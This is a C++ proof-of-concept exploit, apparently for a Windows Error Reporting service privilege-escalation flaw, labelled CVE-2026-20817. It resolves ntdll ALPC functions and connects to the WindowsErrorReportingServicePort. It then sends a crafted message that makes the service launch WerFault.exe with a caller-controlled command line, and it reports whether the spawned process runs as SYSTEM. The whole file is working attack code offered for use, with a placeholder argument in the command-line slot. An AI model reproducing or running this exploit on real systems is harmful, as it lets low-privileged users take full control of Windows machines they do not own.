#include #include #include #include "ntalpcapi.h" #pragma comment(lib, "ntdll.lib") #pragma comment(lib, "advapi32.lib") typedef NTSTATUS (NTAPI* pfnNtAlpcConnectPort)( _Out_ PHANDLE PortHandle, _In_ PUNICODE_STRING PortName, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, _In_opt_ PVOID PortAttributes, // PALPC_PORT_ATTRIBUTES _In_ ULONG Flags, _In_opt_ PSID RequiredServerSid, _Inout_opt_ PVOID ConnectionMessage, // PORT_MESSAGE* _Inout_opt_ PULONG BufferLength, _In_opt_ PVOID OutMessageAttributes, _In_opt_ PVOID InMessageAttributes, _In_opt_ PLARGE_INTEGER Timeout ); typedef NTSTATUS (NTAPI* pfnNtAlpcSendWaitReceivePort)( _In_ HANDLE PortHandle, _In_ ULONG Flags, _In_opt_ PVOID SendMessage, // PORT_MESSAGE* _Inout_opt_ PVOID SendMessageAttributes, _Out_opt_ PVOID ReceiveMessage, // PORT_MESSAGE* _Inout_opt_ PULONG BufferLength, _Out_opt_ PVOID ReceiveMessageAttributes, _In_opt_ PLARGE_INTEGER Timeout ); #pragma pack(push, 1) typedef struct _WERSVC_MSG { PORT_MESSAGE PortMessage; // +0x00 0x28 bytes DWORD MessageFlags; // +0x28 DWORD LastError; // +0x2C output DWORD Unknown; // +0x30 must == 1 DWORD pad_34; // +0x34 padding alignment HANDLE FileMapping; // +0x38 HANDLE SourceHandles[16]; // +0x40 DWORD HandleCount; // +0xC0 DWORD pad_C4; // +0xC4 another padding alignment lol HANDLE NewProcessHandle; // +0xC8 output BYTE Padding[0x4A8]; // +0xD0 } WERSVC_MSG, *PWERSVC_MSG; #pragma pack(pop) static_assert(sizeof(WERSVC_MSG) == 0x578, "WERSVC_MSG size mismatch"); static pfnNtAlpcConnectPort pNtAlpcConnectPort = nullptr; static pfnNtAlpcSendWaitReceivePort pNtAlpcSendWaitReceivePort = nullptr; static BOOL LoadNtFunctions() { HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); if (!hNtdll) return FALSE; pNtAlpcConnectPort = (pfnNtAlpcConnectPort) GetProcAddress(hNtdll, "NtAlpcConnectPort"); pNtAlpcSendWaitReceivePort = (pfnNtAlpcSendWaitReceivePort) GetProcAddress(hNtdll, "NtAlpcSendWaitReceivePort"); return pNtAlpcConnectPort && pNtAlpcSendWaitReceivePort; } static HANDLE CreateCmdlineMapping(const wchar_t* args) { // Server maps 0x208 bytes (260 wchars) — match that size HANDLE hMap = CreateFileMappingW( INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, 0x208, NULL ); if (!hMap) return NULL; void* pView = MapViewOfFile(hMap, FILE_MAP_WRITE, 0, 0, 0x208); if (!pView) { CloseHandle(hMap); return NULL; } // Zero the first 0x208 bytes, then copy args — server reads WCHAR[260] memset(pView, 0, 0x208); wcsncpy_s((wchar_t*)pView, 260, args, _TRUNCATE); UnmapViewOfFile(pView); return hMap; // keep handle open until after ALPC send, server needs to read the content } // ── output helpers ──────────────────────────────────────────────────────────── #define OK(fmt, ...) printf(" [+] " fmt "\n", ##__VA_ARGS__) #define ERR(fmt, ...) printf(" [-] " fmt "\n", ##__VA_ARGS__) #define INF(fmt, ...) printf(" [*] " fmt "\n", ##__VA_ARGS__) #define HDR(fmt, ...) printf("\n[ " fmt " ]\n", ##__VA_ARGS__) static void PrintBanner() { printf( "\n" " CVE-2026-20817 - WerSvc EoP PoC by dwgth4i\n" " WerSvc ALPC SvcElevatedLaunch primitive\n" " low-priv → SYSTEM via controlled WerFault.exe cmdline\n" " --------------------------------------------------------\n" ); } static void PrintSelfContext() { HANDLE hToken = NULL; OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken); // integrity DWORD dwLen = 0; GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &dwLen); PTOKEN_MANDATORY_LABEL pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(LPTR, dwLen); GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, dwLen, &dwLen); DWORD dwRID = *GetSidSubAuthority(pTIL->Label.Sid, *GetSidSubAuthorityCount(pTIL->Label.Sid) - 1); const char* szInteg = dwRID >= 0x4000 ? "System" : dwRID >= 0x3000 ? "High" : dwRID >= 0x2000 ? "Medium" : "Low"; LocalFree(pTIL); // username WCHAR szUser[256] = {}; WCHAR szDomain[256] = {}; DWORD uLen = 256, dLen = 256; SID_NAME_USE snu; BYTE sidBuf[SECURITY_MAX_SID_SIZE]; DWORD sidLen = sizeof(sidBuf); GetTokenInformation(hToken, TokenUser, sidBuf, sidLen, &sidLen); PTOKEN_USER pTU = (PTOKEN_USER)sidBuf; LookupAccountSidW(NULL, pTU->User.Sid, szUser, &uLen, szDomain, &dLen, &snu); INF("Caller : %S\\%S [%s] PID %lu", szDomain, szUser, szInteg, GetCurrentProcessId()); CloseHandle(hToken); } static void printResult(NTSTATUS status, const WERSVC_MSG* recv, const wchar_t* cmdArgs) { HDR("ALPC send result"); if (status < 0) { ERR("NtAlpcSendWaitReceivePort NTSTATUS 0x%08X", (DWORD)status); return; } OK("NtAlpcSendWaitReceivePort NTSTATUS 0x%08X", (DWORD)status); const char* szResp = "unknown"; switch (recv->MessageFlags) { case 0x50000001: szResp = "SUCCESS (ElevatedProcessStart ok)"; break; case 0x50000002: szResp = "FAILED (ElevatedProcessStart err)"; break; } INF("Response flags : 0x%08X %s", recv->MessageFlags, szResp); if (recv->LastError) ERR("Server LastError : 0x%08X", recv->LastError); if (recv->NewProcessHandle) { OK("NewProcessHandle : %p", recv->NewProcessHandle); // query the spawned process for user/integrity confirmation HANDLE hProc = recv->NewProcessHandle; HANDLE hTok = NULL; if (OpenProcessToken(hProc, TOKEN_QUERY, &hTok)) { DWORD dwLen2 = 0; GetTokenInformation(hTok, TokenIntegrityLevel, NULL, 0, &dwLen2); PTOKEN_MANDATORY_LABEL pL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(LPTR, dwLen2); GetTokenInformation(hTok, TokenIntegrityLevel, pL, dwLen2, &dwLen2); DWORD rid = *GetSidSubAuthority(pL->Label.Sid, *GetSidSubAuthorityCount(pL->Label.Sid) - 1); const char* szI = rid >= 0x4000 ? "System" : rid >= 0x3000 ? "High" : "Medium"; LocalFree(pL); WCHAR u[256]={}, d[256]={}; DWORD ul=256, dl=256; SID_NAME_USE s; BYTE sb[SECURITY_MAX_SID_SIZE]; DWORD sl=sizeof(sb); GetTokenInformation(hTok, TokenUser, sb, sl, &sl); LookupAccountSidW(NULL, ((PTOKEN_USER)sb)->User.Sid, u, &ul, d, &dl, &s); CloseHandle(hTok); OK("Spawned process : %S\\%S [%s]", d, u, szI); } } INF("Cmdline injection: \"C:\\Windows\\System32\\WerFault.exe\" %S", cmdArgs); } int main() { PrintBanner(); HDR("loading Nt functions"); if (!LoadNtFunctions()) { ERR("resolve failed"); return 1; } OK("NtAlpcConnectPort / NtAlpcSendWaitReceivePort resolved"); HDR("caller context"); PrintSelfContext(); const wchar_t* cmdArgs = L"duongdeptrai123"; HDR("creating FileMapping"); HANDLE hFileMap = CreateCmdlineMapping(cmdArgs); if (!hFileMap) { ERR("CreateFileMappingW GLE %lu", GetLastError()); return 1; } OK("FileMapping handle : %p", hFileMap); INF("Payload : %S", cmdArgs); HDR("connecting to ALPC port"); UNICODE_STRING portName; RtlInitUnicodeString(&portName, L"\\WindowsErrorReportingServicePort"); INF("Port : %wZ", &portName); ALPC_PORT_ATTRIBUTES portAttribs = {}; portAttribs.Flags = 0x10000; // ALPC_PORFLG_ALLOW_LPC_REQUESTS portAttribs.MaxMessageLength = 0x578; // match WerSvc's expected size portAttribs.SecurityQos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE); portAttribs.SecurityQos.ImpersonationLevel = SecurityImpersonation; portAttribs.SecurityQos.EffectiveOnly = TRUE; INF("MaxMessageLength : 0x%zX", portAttribs.MaxMessageLength); INF("Flags : 0x%08X", portAttribs.Flags); HANDLE hPort = NULL; NTSTATUS st = pNtAlpcConnectPort( &hPort, &portName, NULL, // ObjectAttributes &portAttribs, // PortAttributes — was NULL before 0x20000, // Flags NULL, // RequiredServerSid NULL, // ConnectionMessage NULL, // BufferLength NULL, // OutMessageAttributes NULL, // InMessageAttributes NULL // Timeout ); if (st < 0) { ERR("NtAlpcConnectPort NTSTATUS 0x%08X", (DWORD)st); CloseHandle(hFileMap); return 1; } OK("Port handle : %p", hPort); HDR("building WERSVC_MSG"); WERSVC_MSG msgSend = {}; msgSend.PortMessage.u1.s1.TotalLength = sizeof(WERSVC_MSG); msgSend.PortMessage.u1.s1.DataLength = sizeof(WERSVC_MSG) - sizeof(PORT_MESSAGE); msgSend.MessageFlags = 0x50000000; msgSend.Unknown = 1; msgSend.FileMapping = hFileMap; msgSend.HandleCount = 0; INF("TotalLength : 0x%04X", msgSend.PortMessage.u1.s1.TotalLength); INF("DataLength : 0x%04X", msgSend.PortMessage.u1.s1.DataLength); INF("MessageFlags : 0x%08X DispatchPortRequestWorkItem case SvcElevatedLaunch", msgSend.MessageFlags); INF("Unknown : %lu ElevatedProcessStart gate", msgSend.Unknown); INF("FileMapping : %p", msgSend.FileMapping); OK("message ready"); HDR("sending ALPC message"); WERSVC_MSG msgRecv = {}; ULONG recvLen = sizeof(WERSVC_MSG); st = pNtAlpcSendWaitReceivePort(hPort, 0x20000, &msgSend, NULL, &msgRecv, &recvLen, NULL, NULL); printResult(st, &msgRecv, cmdArgs); NtClose(hPort); CloseHandle(hFileMap); printf("\n"); return (st < 0) ? 1 : 0; }